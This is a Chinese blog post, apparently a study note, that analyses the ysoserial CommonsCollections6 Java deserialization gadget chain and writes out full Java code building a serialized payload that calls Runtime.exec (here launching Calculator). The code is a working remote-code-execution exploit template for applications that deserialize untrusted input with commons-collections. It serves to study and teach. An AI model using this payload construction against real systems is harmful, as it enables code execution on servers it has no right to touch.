yso!cc6链学习
2021-03-29 18:03:00
代码审计 - 反序列化 - java
最近想起来学习java,看了下p神的java漫谈(十二),于是也跟着审了一下yso!cc6的链。
Gadget chain
yso中提供的gadget chain为:
代码语言:javascript复制 Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
相较于cc1而言,cc6是在高版本>Java 8u71后cc1不可用的情况下解决方案,相较于cc1,cc6同样是使用了cc1中提到的Transformer链的链式反射达成命令执行,同样的使用到cc1中的get方法来触发transform方法,那么这一部分我就不做分析了,重点关注一下新出现的TiedMapEntry以及前面的HashSet、HashMap。
分析
先看到TiedMapEntry这个类,在cc6中属于比较关键的一个类,通过这个类可以触发lazymap#get方法,直接看到其hashCode跟getValue方法:
很明显hashCode中调用了getValue方法,map在构造函数中可以传入,这里指定为lazymap的话顺理成章的就触发了transform方法了。
然后看到hashmap的put跟hash方法:
put会调用到hash方法,hash调用了key#hashCode,串联到上面TiedMapEntry#hashCode那么key的值就很明显了。
然后看到HashSet#readObject方法:
至此就很明朗了。
另辟蹊径
p师傅的java漫谈中提到了事实上HashMap#readObject中就已经可以触发hash方法了:
很明显这里是遍历map,那么只要往HashMap放入一个key为TiedMapEntry的键值对即可完成该gadget。
gadget编写
因为tcl看着yso里面的gadget有很多不明白的地方,所以选择跟着p神的链来编写gadget。
首先的lazymap,一如cc1中的编写:
代码语言:javascript复制//一个fake的Transformer数组避免运行时直接弹出计算器
Transformer[] fakeTransformers = new Transformer[]{
new ConstantTransformer(1)
};
//((Runtime) Runtime.class.getMethod("getRuntime").invoke(new Object[] {
// null, new Object[0] })).exec("open -a Calculator")
Transformer[] realTransformers = new Transformer[] {
//class java.lang.Runtime
new ConstantTransformer(Runtime.class),
//public static java.lang.Runtime java.lang.Runtime.getRuntime()
new InvokerTransformer("getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",new Class[0]}),
//Runtime实例
new InvokerTransformer("invoke",
new Class[]{Object.class,Object.class},
new Object[]{null,new Class[0]}),
//执行命令
new InvokerTransformer("exec",
new Class[]{String.class},
new String[]{"open -a Calculator"}
)
};
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
先把faketransformer放入map中,等到最后序列化时再将真正的transformer放入,那么下面就是TiedMapEntry。
代码语言:javascript复制TiedMapEntry tm = new TiedMapEntry(outerMap,"all");
//HashMap#readObject会对key调用hash方法
HashMap expMap = new HashMap();
expMap.put(tm,"allisok");
outerMap.remove("all");
//通过反射获取transformerChain中的私有属性iTransformers并设置为realTransformers
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, realTransformers);
//序列化
ByteArrayOutputStream bass = new ByteArrayOutputStream();
ObjectOutputStream oss = new ObjectOutputStream(bass);
oss.writeObject(expMap);
//本地测试
ByteArrayInputStream bais = new ByteArrayInputStream(bass.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
Object obj = ois.readObject();
注意到outerMap.remove("all");
这里是因为我们在调用HashMap#put时会触发到hash方法,导致链被调用但是因为lazymap#get需要一个不存在的key才会执行factory.transform所以这里将lazymap中的key使用remove移除掉,否则会影响到payload的生成导致链的利用失败。
本文原创于HhhM的博客,转载请标明出处。